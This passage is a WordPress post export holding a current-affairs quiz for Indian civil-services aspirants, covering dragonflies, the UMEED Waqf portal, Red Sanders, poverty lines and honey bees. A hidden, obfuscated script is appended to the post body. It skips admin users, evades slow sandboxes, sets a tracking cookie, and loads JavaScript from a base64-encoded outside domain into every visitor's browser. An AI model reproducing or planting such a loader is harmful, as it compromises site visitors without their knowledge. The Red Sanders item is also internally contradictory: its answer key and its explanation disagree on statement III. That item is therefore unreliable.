I\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Answer: (a) Both Statement II and Statement III are correct and both of them explain Statement I&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>In NEWS: <\/strong>Dragonfly survey in Delhi brings good news: Surge in count, new species logged<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Dragonfly survey in Delhi:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>Delhi is home to approximately 51 species of odonates, which include dragonflies and damselflies.<\/li>\n\n\n\n<li>A recent dragonfly survey across seven DDA biodiversity parks in Delhi recorded 13,253 individual dragonflies, a 54% increase from 8,630 recorded last year.<\/li>\n\n\n\n<li>The Yellow-tailed Ashy Skimmer (Potamarcha congener) was recorded for the first time at the Yamuna Biodiversity Park.<\/li>\n\n\n\n<li>Kamla Nehru Ridge reported the highest count of dragonflies (3,935 individuals) and maximum species diversity (26 species) among all surveyed parks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Dragonflies and damselflies &#8211; bioindicators:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li>Dragonflies and damselflies are bioindicators of wetland ecosystem health, as their larvae require clean, oxygen-rich water to survive. <strong>Hence Statement II is correct explains Statement I<\/strong><\/li>\n\n\n\n<li>One dragonfly can consume 30 to 100 mosquitoes per day, making them ecologically important for natural mosquito control. <strong>While Statement III focuses on their predatory role, it also supports Statement I <\/strong>because their presence reflects overall wetland health, both in terms of biodiversity and functional ecosystems. Their mosquito control role strengthens their ecological significance, making them useful bioindicators and ecosystem service providers.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. &#8220;If rainforests and tropical forests are the lungs of the Earth, then surely wetlands function as its kidneys.&#8221; Which one of the following functions of wetlands best reflects the above statement?<\/strong> <br><br>(a) The water cycle in wetlands involves surface runoff subsoil percolation and evaporation. <br>(b) Algae form the nutrient base upon which fish, crustaceans, molluscs, birds, reptiles and mammals thrive. <br>(c) Wetlands play vital role in maintaining sedimentation balance and soil stabilization. <br><strong>(d) Aquatic plants absorb heavy metals and excess nutrients.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/cities\/delhi\/dragonflies-delhi-new-species-yamuna-biodiversity-park-10277024\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/cities\/delhi\/dragonflies-delhi-new-species-yamuna-biodiversity-park-10277024\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>7. With reference to the UMEED Portal, recently launched by the Government of India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">1. It is a centralised digital platform for real-time uploading, verification, and monitoring of Waqf properties.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">2. It is implemented by the Ministry of Home Affairs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>In NEWS: <\/strong>Nearly four months after the Centre launched the UMEED portal, a centralised digital platform for real-time uploading, verification, and monitoring of Waqf properties, only around 4,000 of the total 8.72 lakh Waqf establishments spread across 30 States and Union Territories have been registered.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>UMEED Portal:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-126\">\n<li><strong>Launched by<\/strong>: Ministry of Minority Affairs, Government of India. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Full form<\/strong>: <em>Unified Management of Electronic Estate of Auqaf through Digitalization<\/em> (UMEED).<\/li>\n\n\n\n<li><strong>Objective<\/strong>:<ul><li>Centralised digital platform for <strong>real-time uploading, verification, and monitoring<\/strong> of Waqf properties. <strong>Hence statement 1 is correct.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Ensures <strong>transparency, accountability, and better governance<\/strong> of Waqf assets.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Coverage<\/strong>: About <strong>8.72 lakh Waqf establishments<\/strong> across <strong>30 States and Union Territories<\/strong>.<\/li>\n\n\n\n<li><strong>Progress<\/strong> (as of 4 months post-launch): Only <strong>~4,000 establishments registered<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Significance<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-128\">\n<li>Prevents encroachment &#038; misuse of Waqf lands.<ul><li>Facilitates digital record-keeping, income generation, and welfare schemes.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Strengthens institutional capacity of <strong>State Waqf Boards<\/strong>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. What is\/are the advantage\/advantages of implementing the \u2018National Agriculture Market\u2019 scheme?<\/strong> <br><br>1. It is a pan-India electronic trading portal for agricultural commodities. <br>2. It provides the farmers access to nationwide market, with prices commensurate with the quality of their produce. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/waqf-boards-cites-portal-failure-government-points-to-missing-records\/article70105127.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/waqf-boards-cites-portal-failure-government-points-to-missing-records\/article70105127.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>8. With reference to &#8220;Red Sanders&#8221; sometimes mentioned in the news, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">I. It is an evergreen tree.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">II. It is an endemic tree species native to the Southern Eastern Ghats of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">III. It is protected under Schedule II of Wildlife (Protection) Act, 1972<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(a) I only\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(b) I and III\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(c) II only\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(d) II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Answer: (d) II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>In NEWS: <\/strong>National Biodiversity Authority sanctions \u20b982 Lakh for Red Sanders Conservation in Andhra Pradesh under Access and Benefit Sharing Mechanism<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Red Sanders Conservation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-143\">\n<li>National Biodiversity Authority (NBA) sanctioned \u20b982 lakh to the Andhra Pradesh Biodiversity Board.<\/li>\n\n\n\n<li>This initiative aims to raise 1 lakh Red Sanders (Pterocarpus santalinus) saplings for distribution to farmers.<\/li>\n\n\n\n<li>This initiative is part of the Trees Outside Forests (ToF) programme.<\/li>\n\n\n\n<li>It receives funding through the Access and Benefit Sharing (ABS) mechanism under the Biological Diversity Act, 2002 (amended in 2023).<\/li>\n\n\n\n<li>This initiative ensures benefits reach local communities, individuals, and Biodiversity Management Committees (BMCs).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Red Sanders:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-145\">\n<li>Red Sanders is a rare and <strong>endemic tree species native to the Southern Eastern Ghats of India<\/strong>, particularly found in Andhra Pradesh (districts: Chittoor, Kadapa, Anantapur, and Kurnool). <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>It is valued for its deep red heartwood, used in high-end furniture, musical instruments, and traditional medicine.<\/li>\n\n\n\n<li>It is a deciduous tree with hardwood. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>It grows in<strong> dry deciduous forests<\/strong> and on rocky, hilly terrain, and is slow-growing, requiring years to mature.<\/li>\n\n\n\n<li>Due to its high commercial value, Red Sanders has been subjected to extensive illegal logging and smuggling, both domestically and internationally.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Listed:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-147\">\n<li>Under <strong>Schedule II of Wildlife (Protection) Act, 1972 Hence statement III is incorrect.<\/strong>\n<ul class=\"wp-block-list\">\n<li>In<strong> Appendix II of CITES<\/strong> \u2013 international trade regulated.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><strong>Q. Consider the following :<\/strong> <br><br>1. Cashew <br>2. Papaya <br>3. Red sanders <br><br><strong>How many of the above trees are actually native to India?<\/strong> <br><br><strong>(a) Only one<\/strong> <br>(b) Only two <br>(c) All three <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172620\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2172620<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>9. Consider the following statements with respect to poverty line in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">1. India\u2019s last officially accepted poverty line is based on the Rangarajan Committee (2014) recommendations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">2. According to the Rangarajan Committee recommendations, a person spending less than \u20b927\/day in rural areas and \u20b933\/day in urban areas (at 2011\u201312 prices) was considered below the poverty line (BPL).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Answer:<\/strong> (d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>In NEWS: <\/strong>In a recent study, economists from the RBI updated the Rangarajan poverty line for 20 major states.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Poverty Line in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-161\">\n<li>India\u2019s <strong>last officially accepted poverty line is based on the Tendulkar Committee (2009) recommendations<\/strong>, using 2011\u201312 NSSO consumption data. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>According to Tendulkar methodology, a person spending less than \u20b927\/day in rural areas and \u20b933\/day in urban areas (at 2011\u201312 prices) was considered below the poverty line (BPL). <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>The Tendulkar Committee shifted focus from calorie intake to a broader consumption-based poverty line, including health and education.<\/li>\n\n\n\n<li>The Rangarajan Committee (2014) proposed a higher poverty line (\u20b932\/day rural, \u20b947\/day urban) and estimated poverty at 29.5%, but its recommendations were not adopted officially.<\/li>\n\n\n\n<li>RBI economists (2024) updated Rangarajan poverty lines using HCES 2022\u201323, but this is not yet government-endorsed.<\/li>\n\n\n\n<li>India has not officially updated its poverty line since 2011\u201312, despite new surveys like the Household Consumption Expenditure Survey (HCES) 2022\u201323.<\/li>\n\n\n\n<li>NITI Aayog, replacing the Planning Commission, now uses the Multidimensional Poverty Index (MPI) for tracking non-income-based poverty, aligned with the UNDP-SDG framework.<\/li>\n\n\n\n<li>According to NITI Aayog\u2019s MPI (2023), 11.28% of India\u2019s population is multidimensionally poor, down from 29.17% in 2013\u201314.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><strong>Q. In a given year in India, official poverty lines are higher in some States than in others because<\/strong> <br><br>(a) poverty rates vary from State to State <br><strong>(b) price levels vary from State to State<\/strong> <br>(c) Gross State Product varies from State to State <br>(d) quality of public distribution varies from State to State<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-economics\/who-is-poor-updated-rangarajan-poverty-line-india-10278352\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-economics\/who-is-poor-updated-rangarajan-poverty-line-india-10278352\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>10. Which of the following organisms perform a waggle dance for others of their kin to indicate the direction and the distance to a source of their food?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(a) Butterflies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(b) Dragonflies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(c) Honey Bees<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">(d) Wasps<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Answer:<\/strong> (c) Honey Bees<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-170\">\n<li>Honey bees use a complex dance called the &#8220;waggle dance&#8221; to communicate the location of food sources to other bees in their hive. <strong>Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>The dance includes specific movements and vibrations that convey information about the direction and distance to the food source relative to the sun.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With respect to the dairy sector in India, Consider the following statements: I. India is the world\u2019s largest milk [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,71,11,42],"tags":[],"class_list":["post-2487","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2487","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2487"}],"version-history":[{"count":5,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2487\/revisions"}],"predecessor-version":[{"id":2988,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2487\/revisions\/2988"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2487"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2487"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2487"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}